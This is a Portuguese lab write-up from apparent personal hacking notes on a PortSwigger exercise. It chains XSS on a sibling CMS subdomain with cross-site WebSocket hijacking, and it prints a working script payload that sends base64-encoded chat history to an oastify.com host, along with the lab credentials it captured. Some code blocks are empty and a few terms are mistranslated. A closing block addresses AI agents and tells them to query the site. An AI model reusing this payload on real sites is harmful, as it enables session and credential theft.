> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-strict-bypass-via-sibling-domain.md).
# Bypass de SameSite Strict via Domínio Irmão
Notas sobre Bypass de SameSite Strict via Domínio Irmão para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.
### Bypass do SameSite Strict via domínio irmão
Lab: a funcionalidade de chat ao vivo é vulnerável ao sequestro de WebSocket entre sites (CSWSH). O objetivo do lab é acessar a conta da vítima extraindo o histórico do chat para o servidor Burp Collaborator padrão; o histórico contém credenciais em texto claro.
Use o servidor de exploit fornecido para lançar um ataque CSWSH que exfiltre o histórico do gato da vítima.
O chat funciona via WebSocket e o histórico passa por ele.
O cookie de sessão é enviado com SameSite (bloqueando cenários convencionais de redirecionamento entre sites).
O arquivo JavaScript do lado do cliente (por exemplo, `chat.js`) é carregado a partir de um subdomínio do CMS que retorna um `Access-Control-Allow-Origin` cabeçalho que permite interação a partir desse subdomínio.
O painel de autenticação do CMS é vulnerável à injeção de script por meio do `nome de usuário` parâmetro (por exemplo, `?username=&password=test`).
```javascript
```
```
/login?username=&password=test
```
Usando essa injeção, você pode executar JavaScript no contexto do subdomínio vulnerável, estabelecendo assim um WebSocket autenticado (os cookies são então enviados, já que a origem é a mesma) para o servidor de chat.
### Abordagem (resumo)
1. Coloque um script malicioso no `nome de usuário` parâmetro do formulário de login do subdomínio do CMS.
2. Este script abre uma conexão WebSocket com o servidor de chat e envia um `READY` sinal.
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
3. Ao receber mensagens do WebSocket (histórico do gato), o `fetch` script codifica esses dados (base64) para um servidor controlado pelo atacante (OAST/Oastify).
```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```
Hospede/serva um redirecionamento no servidor de exploit para fazer a vítima visitar a URL vulnerável (login com `nome de usuário` contendo o script).
```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```
#### Resultados observados
* Quando a consulta exfiltrada foi recebida, o `dados` parâmetro continha uma string base64; ao decodificá-la, obtemos a entrada do gato.
* Exemplo de payload recebido (decodificado em base64):
```json
{"user":"CONECTADO","content":"-- Agora conversando com Hal Pline --"}
```
Ao injetar a partir do contexto autenticado (subdomínio do CMS), o script transmitiu mensagens contendo conversas de usuários e, neste caso, uma mensagem contendo as credenciais em texto claro.
{% code overflow="wrap" %}
```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```
{% endcode %}
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
#### Credenciais extraídas (conforme observado)
* `carlos:hdf3fkk8h7tnltupqs5t` (credenciais encontradas no histórico do gato)
{% code overflow="wrap" %}
```json
{"user":"Hal Pline","content":"Sem problema, carlos, é hdf3fkk8h7tnltupqs5t"}
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
